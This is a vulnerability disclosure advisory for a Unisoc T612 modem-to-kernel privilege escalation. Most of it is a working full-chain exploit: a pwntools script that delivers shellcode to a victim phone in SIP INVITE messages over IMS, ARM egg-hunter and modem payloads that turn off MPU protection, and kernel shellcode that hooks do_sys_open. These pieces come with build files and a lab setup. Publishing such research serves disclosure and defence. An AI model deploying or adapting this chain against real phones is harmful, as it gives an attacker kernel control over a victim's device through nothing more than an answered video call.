UNISOC T612 LPE
17.8.26  SSD-DISCLOSURE  Vulnerebility

Summary

UNISOC (Shanghai) Technologies Co., Ltd. is a top-three global fabless semiconductor company headquartered in Shanghai, specializing in 2G/3G/4G/5G mobile communication, IoT, and smart device chipsets. Formerly Spreadtrum, it serves major brands like Honor, realme, vivo, Samsung, and Motorola, with products in over 140 countries.

A critical vulnerability has been identified in the Unisoc modem firmware that allows arbitrary code execution with kernel privileges from the modem context.

By disabling protections on the first memory region (ID 0) of the Memory Protection Unit (MPU), an attacker can gain unrestricted read and write access to physical memory. This can ultimately lead to local privilege escalation, including the ability to modify kernel code.

We have tried to reach out to the vendor through multiple channels (email and LinkedIn) but have not been able to receive any response.

Credit

An independent security researcher, 0x50594d, working with SSD Secure Disclosure.

Affected Versions

Technical Analysis

An exploitable Improper Isolation of Shared Resources on System-on-a-Chip (SoC) (CWE-1189) was identified in the mobile phones that have the Unisoc chipset. The root cause lies in the fact that no isolation between modem memory and kernel memory is present from the modem context.

Exploit

An attacker who gains the ability to execute code on the modem can read from and write to the entire memory space by disabling protections on the first Memory Protection Unit (MPU) region (region ID 0).

The ARM code below configures MPU region 0 with read, write, and execute permissions. This region is defined with a base address of 0x00000000 and spans 0x100000000 bytes, effectively covering the entire 32-bit address space.

MOV r0, #0x0

MCR p15, 0, r0, c6, c2, 0

DSB

mov r0, #0x10b

MCR p15, 0, r0, c6, c1, 4

ISB

DSB

At this point, it becomes possible to read from and write to the device’s physical memory.
The kernel is located at physical address 
0x80080000.

Full chain PoC with the previous RCE
Test Environment Setup

For testing purposes, the Docker-based Open5GS deployment with Kamailio was used. The Dockerized VoLTE Setup tutorial was used as a reference.

Victime phone

The victim’s phone used in this test is the following:

It is possible to root the phone by using the following repository.

Attacker phone

An attacker could use any smartphone to contact the victim, requiring only the ability to place a video call.

Sim cards

The Osmocom USIM card sysmoISIM-SJA5-9FV SIM + USIM + ISIM Card (10-pack) with ADM keys; 9FV chip: has been acquired.

Antenna

The LimeSDR is utilized for 4G communication.

Attacker machine

An additional machine, used solely for running the exploit code, was added to the Docker Compose environment at the address 172.22.0.100. It registers with the IMS in the same manner as a standard User equipment. The machine was included as follows.

attacker_machine:

image: attacker

container_name: attacker

expose:

- "10101/tcp"

networks:

default:

ipv4_address: 172.22.0.100

 

Dockerfile:

FROM pwntools/pwntools

RUN cd /home/pwntools/ \

&& git clone https://github.com/mitshell/CryptoMobile \

&& cd CryptoMobile \

&& pip install . --break-system-packages

RUN sudo apt update \

&& sudo apt install openssh-server -y \

&& sudo mkdir /run/sshd \

&& sudo chmod 755 /run/sshd

RUN mkdir /home/pwntools/.ssh/ \

&& echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGa5TjMbqFs1mQLm5rUqPctCpOYAdnN/GDAkPks0Zlk9 gateau' >> /home/pwntools/.ssh/authorized_keys

COPY exploit.py /home/pwntools/

COPY shellcode/text.bin /home/pwntools/

ENTRYPOINT [ "sudo", "/usr/sbin/sshd", "-D", "-e", "-p", "10101" ]

 

Start Ylog (Optional for exploitation but usefull for debugging)

To obtain the crash dump from the phone and force the modem to delay before restarting, the slog must be activated. This requires starting engineering mode, which can be done via ADB.

adb shell am start -n com.sprd.engineermode/.EngineerModeActivity

Next you choose debug&log, YLog and press Start.

Attack
Exploit that will send the payload

The exploit.py script, simulates the attacker device by authenticating to the core network and sending INVITE messages containing the egg hunter payload in the message body and then the last INVITE message that contain the modem payload.

To run the script, authenticate on the exploit machine and launch the tool. The script includes an argparse interface, allowing you to provide custom parameters as needed.

$ python exploit.py

[+] Opening connection to 172.22.0.21 on port 5060: Done

ims.mnc070.mcc999.3gppnetwork.org

[+] xmac is correct continue

[+] Authentication work!

[+] Registration complete

[+] Exploit send part 0

40404040494052405b4001e09d46bf8c4040c8f63040c046c046b1e0

[+] Exploit send part 1

01300578ff2dfbd14578fe2df8d18578aa2df5d1c578ef2df2d1b1e0

[+] Exploit send part 2

6124461e013e01313578ac42fad0043140f2b044c8f6e053c046b1e0

[+] Exploit send part 3

40f6b8471e1c40f2bc180430c046c046c046c046c046c046c046b1e0

[+] Exploit send part 4

ba420ad0a14201db40444940057835700136013201310130f2e79847

[+] Exploit has been send, now call the victim!

[*] Closed connection to 172.22.0.21 port 5060

 

Immediately afterward, initiate a video call from the attacker device to the victim device. Once the victim answers the call, the modem start the egg hunter.

The exploitation script exploit.py

#!/usr/bin/env python3

from pwn import *

import re

from argparse import ArgumentParser

from CryptoMobile.Milenage import Milenage

IP_ATTACKER = "172.22.0.100"

class SipMessage:

def __init__(

self,

first_line,

headers,

content_length,

content

):

self.first_line = first_line

self.headers = headers

self.content_length = content_length

self.content = content

def __repr__(self):

result = self.first_line.decode()

result += "\n".join([f"{header['name']}: {header['value']}" for header in self.headers])

result += "\n\n"

if self.content_length != 0:

result += self.content.decode()

return result

def get_header(self, name):

results = []

for header in self.headers:

if header["name"] == name:

results += [header["value"]]

return results

class Digest:

def __init__(

self,

digest,

ki,

opc,

user

):

self.digest = digest[7:]

realm = re.findall('realm="([^"]*)"', self.digest)[0]

self.b64nonce = re.findall('nonce="([^"]*)"', self.digest)[0]

print(realm)

self.nonce = base64.b64decode(self.b64nonce)

self.rand = self.nonce[:16]

self.sqnxoraka = self.nonce[16:22]

self.amf = self.nonce[22:24]

self.mac = self.nonce[24:32]

# self.op = derive_op_from_opc()

milenage = Milenage(None)

milenage.set_opc(opc)

res, ck, ik, ak = milenage.f2345(

ki, self.rand

)

self.res = res

self.ck = ck

self.ak = ak

self.ik = ik

self.sqn = bytes(a ^ b for a, b in zip(self.sqnxoraka, self.ak))

self.xmac = milenage.f1(

ki, self.rand, self.sqn, self.amf

)

if self.mac != self.xmac:

print("[-] xmac is different from mac")

exit()

print("[+] xmac is correct continue")

self.nc = "00000001"

self.cnonce = "Yy5R3qjx"

A1 = hashlib.md5()

A1.update(user.encode())

A1.update(b":")

A1.update(realm.encode())

A1.update(b":")

A1.update(self.res)

A1_hex = A1.digest().hex()

A2 = hashlib.md5()

A2.update(b"REGISTER")

A2.update(b":")

A2.update(b"sip:")

A2.update(realm.encode())

A2_hex = A2.digest().hex()

response = hashlib.md5()

response.update(A1_hex.encode())

response.update(b":")

response.update(self.b64nonce.encode())

response.update(b":")

response.update(self.nc.encode())

response.update(b":")

response.update(self.cnonce.encode())

response.update(b":")

response.update(b"auth")

response.update(b":")

response.update(A2_hex.encode())

self.response_hex = response.digest().hex()

self.authorisation_header = "Authorization: Digest "

self.authorisation_header += f"username=\"{user}\", "

self.authorisation_header += f"realm=\"{realm}\", "

self.authorisation_header += f"nonce=\"{self.b64nonce}\", "

self.authorisation_header += f"uri=\"sip:{realm}\", "

self.authorisation_header += f"response=\"{self.response_hex}\", "

self.authorisation_header += f"qop=auth, nc={self.nc}, algorithm=AKAv1-MD5, "

self.authorisation_header += f"cnonce=\"{self.cnonce}\""

class Exploit():

def __init__(self):

HOST = "172.22.0.21"

self.con = remote(HOST, 5060, typ="tcp")

def get_src_port(self):

return self.con.lport

def send(self, data: bytes):

self.con.send(

data

)

def recv_sip_message(self) -> SipMessage:

status_line = self.con.recvuntil(b"\r\n")

headers = self.con.recvuntil(b"\r\n\r\n")

content_length = int(re.findall(b"Content-Length: ([0-9]*)\r\n", headers)[0])

content = b""

if content_length != 0:

content = self.con.recvn(content_length)

headers_list = []

for header in headers.split(b"\r\n"):

header = re.findall(b"([^:]*): (.*)", header)

if len(header) == 1:

header = header[0]

headers_list += [

{

"name": header[0].decode(),

"value": header[1].decode()

}

]

return SipMessage(

status_line,

headers=headers_list,

content_length=content_length,

content=content

)

def get_shellcode_parts():

with open("egg_hunter.bin", "rb") as f:

content = f.read()

result = []

for i in range(0, len(content), 0x30 * 8):

result.append(content[i:i+28])

return result

def main():

exploit = Exploit()

lport = exploit.get_src_port()

parser = ArgumentParser()

parser.add_argument("--imsi_attacker", default="999999999999999")

parser.add_argument("--ki_attacker", default="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF")

parser.add_argument("--opc_attacker", default="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF")

parser.add_argument("--victim_phone_number", default="9076543210")

parser.add_argument("--attacker_phone_number", default="9076543211")

args = parser.parse_args()

imsi_attacker = args.imsi_attacker

ki_attacker = bytes.fromhex(args.ki_attacker)

opc_attacker = bytes.fromhex(args.opc_attacker)

domain = f"ims.mnc0{imsi_attacker[3:5]}.mcc{imsi_attacker[:3]}.3gppnetwork.org"

victim_phone_number = args.victim_phone_number

attacker_phone_number = args.attacker_phone_number

SIP_SEQ_ID = 1

register_request = f"""REGISTER sip:{domain} SIP/2.0

Via: SIP/2.0/TCP {IP_ATTACKER}:5060;branch=z9hG4bKku3z6faSleAq7RjyBvKgLzV4o

Max-Forwards: 70

From: <sip:{imsi_attacker}@{domain}>;tag=OG2.Dh8xb.ScY7

To: <sip:{imsi_attacker}@{domain}>

Call-ID: qahZb0O6BMOCyixWwVd1mGJme2Oo@{IP_ATTACKER}

CSeq: {SIP_SEQ_ID:d} REGISTER

Contact: <sip:{imsi_attacker}@{IP_ATTACKER}:5060>

Allow: INVITE, CANCEL, BYE, ACK, REFER, NOTIFY, MESSAGE, INFO, PRACK, UPDATE, OPTIONS

Authorization: Digest username="{imsi_attacker}@{domain}", realm="{domain}", nonce="", uri="sip:{domain}", response=""

Expires: 0

Supported: path

Content-Length: 0

""".replace("\n", "\r\n").encode()

SIP_SEQ_ID += 1

exploit.send(register_request)

Trying = exploit.recv_sip_message()

sip_challenge = exploit.recv_sip_message()

www_authenticate = sip_challenge.get_header("WWW-Authenticate")[0]

digest = Digest(

www_authenticate,

ki_attacker,

opc_attacker,

f"{imsi_attacker}@{domain}"

)

register_request_auth = f"""REGISTER sip:{domain}:5060 SIP/2.0

Via: SIP/2.0/TCP {IP_ATTACKER}:5060;branch=z9hG4bK4252247255

Max-Forwards: 69

From: <sip:{imsi_attacker}@{domain}>;tag=4130282331

To: <sip:{imsi_attacker}@{domain}>

Call-ID: qahZb0O6BMOCyixWwVd1mGJme2Oo@{IP_ATTACKER}

CSeq: {SIP_SEQ_ID:d} REGISTER

Contact: <sip:{imsi_attacker}@{IP_ATTACKER}:{lport:d}>

Allow: INVITE, CANCEL, BYE, ACK, REFER, NOTIFY, MESSAGE, INFO, PRACK, UPDATE, OPTIONS

AUTHORIZATION

Content-Length: 0

""".replace("\n", "\r\n").encode()

SIP_SEQ_ID += 1

exploit.send(

register_request_auth.replace(b"AUTHORIZATION", digest.authorisation_header.encode())

)

trying = exploit.recv_sip_message()

ok = exploit.recv_sip_message()

if b"SIP/2.0 200 OK" not in ok.first_line:

raise Exception("Error authentification")

print("[+] Authentication work!")

rport = re.findall("rport=([0-9]*)", ok.get_header("Via")[0])[0]

subscribe_request = f"""SUBSCRIBE sip:{attacker_phone_number}@{domain} SIP/2.0

From: <sip:{attacker_phone_number}@{domain}>;tag=4130282331

To: <sip:{attacker_phone_number}@{domain}>

Call-ID: 4130282328_46852536@{IP_ATTACKER}

Via: SIP/2.0/TCP {IP_ATTACKER}:{lport:d};branch=z9hG4bK4252247255

Max-Forwards: 70

Route: <sip:172.22.0.21:{lport:d};lr>,<sip:orig@scscf.{domain}:6060;lr>

CSeq: {SIP_SEQ_ID:d} SUBSCRIBE

Event: reg

Contact: <sip:{IP_ATTACKER}:{lport:d}>

Content-Length: 0

""".replace("\n", "\r\n").encode()

SIP_SEQ_ID += 1

exploit.send(

subscribe_request

)

reg_saved = exploit.recv_sip_message()

if b"SIP/2.0 200 Subscription to REG saved" not in reg_saved.first_line:

raise Exception("[-] Subscribtion to reg failed")

notify = exploit.recv_sip_message()

if b"NOTIFY" not in notify.first_line:

raise Exception("[-] Registration error")

vias = notify.get_header("Via")

routes = "\n".join(["Via: " + via for via in vias])

ok = f"""SIP/2.0 200 OK

{routes}

To: {notify.get_header("To")[0]}

From: {notify.get_header("From")[0]}

CSeq: {notify.get_header("CSeq")[0]}

Call-ID: {notify.get_header("Call-ID")[0]}

Content-Length: 0

""".replace("\n", "\r\n").encode()

exploit.send(

ok

)

print("[+] Registration complete")

SIP_SEQ_ID = 7

def send_exploit(data, sip_seq_id, stack_depth=165):

data += data + b"a" * (0x80 - len(data))

payload = b"v=0\r\n"

payload += b"m=video 51372 RTP/AVP \r\n" # for stack decallage

payload += b"a=" + b"acap:1 " * stack_depth + b"crypto:1 " + data + b"\r\n"

invite = f"""INVITE sip:{victim_phone_number};phone-context={domain}@{domain};user=phone SIP/2.0

From: <sip:{attacker_phone_number}@{domain}>;tag=4130282331

To: <sip:{victim_phone_number};phone-context={domain}@{domain};user=phone>

CSeq: {sip_seq_id:d} INVITE

Call-ID: 4128004109_45009256@{IP_ATTACKER}

Via: SIP/2.0/TCP {IP_ATTACKER}:{lport:d};branch=z9hG4bK4252247255

Max-Forwards: 70

Contact: <sip:{IP_ATTACKER}:{lport:d}>

Route: <sip:172.22.0.21:5060;lr>,<sip:orig@scscf.{domain}:6060;lr>

P-Preferred-Identity: <tel:{attacker_phone_number}>

Allow: INVITE,ACK,CANCEL,BYE,UPDATE,PRACK,MESSAGE,REFER,NOTIFY,INFO,OPTIONS

Content-Type: application/sdp

Accept: application/sdp,application/3gpp-ims+xml

P-Preferred-Service: urn:urn-7:3gpp-service.ims.icsi.mmtel

Accept-Contact: *;+g.3gpp.icsi-ref="urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel"

Supported: timer,100rel,replaces,histinfo,tdialog

P-Early-Media: supported

Content-Length: {len(payload):d}

Session-Expires: 1800;refresher=uac

""".replace("\n", "\r\n").encode()

invite += payload

exploit.send(

invite

)

trying = exploit.recv_sip_message()

if b"SIP/2.0 100 Trying" not in trying.first_line:

raise Exception("Not a trying message")

# print(trying)

not_acceptable = exploit.recv_sip_message()

if b"SIP/2.0 488 Not Acceptable" not in not_acceptable.first_line:

raise Exception("Not a not acceptable message")

for i, part in enumerate(get_shellcode_parts()):

print(f"[+] Exploit send part {i:d}")

print(part.hex())

send_exploit(part, SIP_SEQ_ID, 165 - i * 8)

SIP_SEQ_ID += 1

with open("write_and_execute_code.bin", "rb") as f:

shellcode = f.read()

# payload = b"a" * 0x280 + b"\xff\xfe\xaa\xef" + cyclic_gen().get(1000) + b"".join([bytes.fromhex(f"{x:02x}") for x in range(0x100)])

payload = b"a" * 0x280 + b"\xff\xfe\xaa\xef" + shellcode

invite = f"""INVITE sip:{victim_phone_number};phone-context={domain}@{domain};user=phone SIP/2.0

From: <sip:{attacker_phone_number}@{domain}>;tag=4130282331

To: <sip:{victim_phone_number};phone-context={domain}@{domain};user=phone>

CSeq: {SIP_SEQ_ID:d} INVITE

Call-ID: 4128004109_45009256@{IP_ATTACKER}

Via: SIP/2.0/TCP {IP_ATTACKER}:{lport:d};branch=z9hG4bK4252247255

Max-Forwards: 70

Contact: <sip:{IP_ATTACKER}:{lport:d}>

Route: <sip:172.22.0.21:5060;lr>,<sip:orig@scscf.{domain}:6060;lr>

P-Preferred-Identity: <tel:{attacker_phone_number}>

Allow: INVITE,ACK,CANCEL,BYE,UPDATE,PRACK,MESSAGE,REFER,NOTIFY,INFO,OPTIONS

Content-Type: application/sdp

Accept: application/sdp,application/3gpp-ims+xml

P-Preferred-Service: urn:urn-7:3gpp-service.ims.icsi.mmtel

Accept-Contact: *;+g.3gpp.icsi-ref="urn%3Aurn-7%3A3gpp-service.ims.icsi.mmtel"

Supported: timer,100rel,replaces,histinfo,tdialog

P-Early-Media: supported

Content-Length: {len(payload):d}

Session-Expires: 1800;refresher=uac

""".replace("\n", "\r\n").encode()

# Last invite sent

exploit.send(

invite + payload

)

print("[+] Exploit has been send, now call the victim!")

if __name__ == "__main__":

main()

 

The Egg hunter

When the exploit sends the final INVITE to the phone, it includes the modem payload in the message body. The SIP message – and therefore the modem payload – is fragmented into chunks of 0x4b0 bytes. Each chunk is separated by 0x1bc-byte gaps scattered throughout the modem heap.

The role of the egg hunter is to locate these modem payload fragments written into modem heap memory and reassemble them contiguously at address 0x8de00000.

The egg hunter code egg_hunter.s is shown below.

.text

.global _start

.THUMB

.equ HOLE_BETWEEN_PARTS, 356

_start:

EOR r0, r0, r0

EOR r0, r0, r0

EOR r1, r1, r1

EOR r2, r2, r2

EOR r3, r3, r3

B jump_return_address

# just after the PC

message: .word 0x8cbf469d

jump_return_address:

EOR r0, r0, r0

MOVT r0, #0x8c30

NOP

NOP

B _second_chunk

.space HOLE_BETWEEN_PARTS

// Egg hunter

_second_chunk:

loop_egg_hunter:

ADD r0, r0, #1

LDRB r5, [r0]

CMP r5, #0xff

BNE loop_egg_hunter

LDRB r5, [r0, #1]

CMP r5, #0xfe

BNE loop_egg_hunter

LDRB r5, [r0, #2]

CMP r5, #0xaa

BNE loop_egg_hunter

LDRB r5, [r0, #3]

CMP r5, #0xef

BNE loop_egg_hunter

// r0 src

B _third_chunk

.space HOLE_BETWEEN_PARTS

# reconstruct shellcode

_third_chunk:

// r6 cursor to search for begining of the memory region

// r1 will store the size to copy

MOVS r4, #0x61

SUB r6, r0, #1

loop_begining_chunk:

SUB r6, r6, #1

ADD r1, r1, #1

LDRB r5,[r6]

CMP r4, r5

BEQ loop_begining_chunk

ADD r1, r1, #4

// r4 store size of chunk

MOVW r4, #0x4b0

// r3 where the shellcode will be placed

MOVT r3, #0x8de0

NOP

B _fourth_chunk

.space HOLE_BETWEEN_PARTS

_fourth_chunk:

// size shellcode need to replace if shellcode more that 0xcb8

MOVW r7, #0xcb8

// r6 will store cursor dst shellcode

MOV r6, r3

// r8 store the displacement between chunks

MOVW r8, #0x1bc

// r0 point at the begining of the src shellcode

ADD r0, r0, #4

NOP

NOP

NOP

NOP

NOP

NOP

NOP

B _fifth_chunk

.space HOLE_BETWEEN_PARTS

_fifth_chunk:

loop_copy_shellcode:

CMP r2, r7

BEQ execute_shellcode

CMP r1, r4

BLT copy_shellcode

ADD r0, r0, r8

EOR r1, r1, r1

copy_shellcode:

LDRB r5, [r0]

STRB r5, [r6]

ADD r6, r6, #1

ADD r2, r2, #1

ADD r1, r1, #1

ADD r0, r0, #1

B loop_copy_shellcode

execute_shellcode:

BLX r3

 

The Makefile used to generate the egg_hunter payload.

all: clean

arm-linux-gnueabi-as egg_hunter.s -o egg_hunter.o

arm-linux-gnueabi-ld -Ttext=0x8cbf469c -o egg_hunter.elf egg_hunter.o

arm-linux-gnueabi-objdump -d egg_hunter.elf

arm-linux-gnueabi-objcopy -O binary -j .text egg_hunter.elf egg_hunter.bin

scp -P 10101 egg_hunter.bin pwntools@172.22.0.100:volume

clean:

rm -f egg_hunter.o egg_hunter.bin

 

Modem payload that will write on the kernel

Once the egg hunter has reassembled the modem payload fragments, it executes the modem payload, which writes the kernel shellcode and installs a trampoline on do_sys_open.

A Python helper script insert_template.py has been writen to inject the kernel shellcode and the trampoline in the modem payload.

from struct import pack, unpack

if __name__ == "__main__":

with open("../shellcode_kernel/shellcode_kernel.bin", "rb") as f:

shellcode_content = f.read()

with open("../shellcode_kernel/trampoline.bin", "rb") as f:

trampoline_content = f.read()

with open("write_and_execute_code_template.s", "r") as f:

template_content = f.read()

shellcode = ",".join(

[

f"0x{x:02x}" for x in shellcode_content

]

)

template_content = template_content.replace("<SIZE>", str(len(shellcode_content)))

template_content = template_content.replace("<SHELLCODE>", shellcode)

template_content = template_content.replace("<TRAMPOLINE_LSB>", hex(unpack(">H", trampoline_content[2:4])[0]))

template_content = template_content.replace("<TRAMPOLINE_MSB>", hex(unpack(">H", trampoline_content[0:2])[0]))

with open("write_and_execute_code.s", "w") as f:

f.write(template_content)

 

The shellcode template write_and_execute_code_template.s that will be used to generate the modem payload is the following.

start:

PUSH {r0, r1, r2, r3, r4, lr}

// deactivate memory protection of region 0

MOV r0, #0x0

MCR p15, 0, r0, c6, c2, 0

DSB

mov r0, #0x10b

MCR p15, 0, r0, c6, c1, 4

ISB

DSB

// # cat /proc/kallsyms |grep __arm64_compat_sys_vmsplice

// ffffffc0104f6b58 T __arm64_compat_sys_vmsplice

// >>> hex(0xffffffc0104f6b58 - 0xffffffc010080000 + 0x80080000)

// '0x804f6b58'

MOVW r0, #0x6b58

MOVT r0, #0x804f

// copy your shellcode

ADR r1, shellcode_kernel

LDR r2, =#<SIZE>

BL memcpy

// set zero to the "mutex" which is at end of bss

// RE5894:/ # cat /proc/kallsyms | grep __bss_stop

// ffffffc0121640e0 B __bss_stop

// >>> hex(0xffffffc0121640e0 - 0xffffffc010080000 + 0x80080000)

// '0x821640e0'

EOR r1, r1, r1

MOVW r0, #0x40e0

MOVT r0, #0x8216

STR r1, [r0]

// create trampoline in do_sys_open

// # cat /proc/kallsyms |grep do_sys_open

// ffffffc0104adb00 T do_sys_open

// >>> hex(0xffffffc0104adb00 - 0xffffffc010080000 + 0x80080000)

// '0x804adb00'

MOVW r0, #0xdb00

MOVT r0, #0x804a

// Put trampoline code here (aka "B loader")

// At this stage of the RCE, data is interpreted as big-endian.

// If you use a different exploit path on the modem,

// data is more likely to be little-endian,

// so you must replace this value with its little-endian equivalent.

MOVW r1, #<TRAMPOLINE_LSB>

MOVT r1, #<TRAMPOLINE_MSB>

STR r1, [r0]

POP {r0, r1, r2, r3, r4, lr}

BX lr

memcpy:

PUSH {r3, lr}

loop_memcpy:

LDRB r3, [r1]

STRB r3, [r0]

ADD r0, r0, #1

ADD r1, r1, #1

SUB r2, r2, #1

CMP r2, #0

BLT end_memcpy

B loop_memcpy

end_memcpy:

POP {r3, lr}

BX LR

shellcode_kernel:

.byte <SHELLCODE>

shellcode_kernel_end:

 

The Makefile used to generate the modem payload is the following.

all: clean

python insert_template.py

arm-none-eabi-as -mcpu=cortex-r7 -c write_and_execute_code.s -o write_and_execute_code.o

arm-none-eabi-objdump -D write_and_execute_code.o

arm-none-eabi-objcopy --only-section=.text -O binary write_and_execute_code.o write_and_execute_code.bin

clean:

rm -f write_and_execute_code.o

 

Payload to be executed in the kernel (kernel shellcode)

The payload written into the kernel is composed of two distinct sections.

The first section, .shellcode, is placed over the __arm64_compat_sys_vmsplice function. It contains the payload that will be executed in kernel space. For demonstration purposes, the payload simply invokes printk("Exploit worked!");.

The second section, .trampoline, is written at the beginning of the do_sys_open function. This section contains the branch instruction B loader required to redirect execution flow to the .shellcode section, thereby transferring control to the payload.

The C file shellcode_kernel.c that contains the kernel shellcode.

#define MUTEX_BSS_END 0xffffffc0121640e0

static void loader() __attribute__((section(".shellcode")));

static void payload() __attribute__((naked)) __attribute__((section(".shellcode")));

static void trampoline() __attribute__((naked)) __attribute__((section(".trampoline")));

extern void printk(char* format, ...);

void loader(){

/* Save registers used as arguments to do_sys_open(),

* then invoke the payload. */

__asm__ volatile (

"SUB sp, sp, #0x30\n"

"STP x0, x1, [sp, #0]\n"

"STP x2, x3, [sp, #0x10]\n"

"STP x29, x30, [sp, #0x20]\n"

"BL payload\n"

"LDP x0, x1, [sp, #0]\n"

"LDP x2, x3, [sp, #0x10]\n"

"LDP x29, x30, [sp, #0x20]\n"

"ADD sp, sp, #0x30\n"

"SUB sp, sp, #0x80\n"

"B do_sys_open_4"

);

}

void payload(){

/* Add a mutex to ensure the exploit code is executed only once. */

int* mutex = (int*)MUTEX_BSS_END;

if(*mutex == 1)

{

return;

}

*mutex = 1;

/* Kernel shellcode goes here.

* For demonstration purposes, we invoke printk().

*/

printk("Exploit worked !");

return;

}

void trampoline()

{

/*Jump to loader */

__asm__ volatile (

"B loader"

);

}

 

The linker script linker_script.ld used to map .shellcode and .trampoline region.

MEMORY

{

SHELLCODE (rwx) : ORIGIN = 0xffffffc0104f6b58, LENGTH = 16K # __arm64_compat_sys_vmsplice

TRAMPOLINE (rwx) : ORIGIN = 0xffffffc0104adb00, LENGTH = 16K # do_sys_open

}

SECTIONS

{

.shellcode :

{

*(.shellcode)

*(.rodata)

} > SHELLCODE

.trampoline :

{

*(.trampoline)

} > TRAMPOLINE

printk = 0xffffffc0102ee85c;

do_sys_open = 0xffffffc0104adb00;

do_sys_open_4 = 0xffffffc0104adb04;

}

 

The Makefile used to compile the kernel shellcode.

all: clean

aarch64-none-elf-gcc -O0 -c shellcode_kernel.c -o shellcode_kernel.o

aarch64-none-elf-ld shellcode_kernel.o -o shellcode_kernel.elf -T linker_script.ld

aarch64-none-elf-objdump -D shellcode_kernel.elf

aarch64-none-elf-objcopy --only-section=.shellcode -O binary shellcode_kernel.elf shellcode_kernel.bin

aarch64-none-elf-objcopy --only-section=.trampoline -O binary shellcode_kernel.elf trampoline.bin

clean:

rm -f shellcode_kernel.o shellcode_kernel.elf shellcode_kernel.bin

 

Execution in kernel

At the end the payload will execute the printk call with the string "Exploit worked !".

$ adb shell su -c "dmesg -w" | grep Expl

[ 965.332925] [c1] Exploit worked !